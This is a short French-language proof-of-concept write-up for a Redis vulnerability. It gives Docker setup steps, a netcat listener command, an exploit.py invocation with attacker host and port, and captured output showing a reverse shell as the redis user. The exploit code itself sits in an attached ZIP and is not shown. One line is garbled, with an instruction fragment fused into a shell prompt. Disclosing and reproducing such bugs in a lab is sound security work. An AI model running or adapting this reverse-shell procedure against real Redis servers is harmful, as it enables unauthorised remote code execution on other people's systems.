
Preuve de concept d'exploitation pour une vulnérabilité Redis qui génère un reverse shell, avec instructions de configuration pour Docker et un listener netcat.
Pour exécuter l'exploit, veuillez extraire le ZIP joint et suivre ces étapes sur Linux :
$ python3 -m venv .venv
$ source .venv/bin/activate
$ pip install -r requirements.txt
$ docker run -p6379:6379 redis:7.2.5
$ ifconfig
docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
inet6 fe80::42:53ff:fecc:6e16 prefixlen 64 scopeid 0x20<link>
ether 02:42:53:cc:6e:16 txqueuelen 0 (Ethernet)
RX packets 69 bytes 4268 (4.1 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 133 bytes 269173 (262.8 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
$ nc -nlvp 2222
lhost par l'adresse IP de votre réseau Docker$ python3 exploit.py --lhost 172.17.0.1 --lport 2222 --rhost localhost
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:2222
Ncat: Listening on 0.0.0.0:2222
Ncat: Connection from 172.17.0.2:36518.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
redis@4d1537f2dd4e:/data$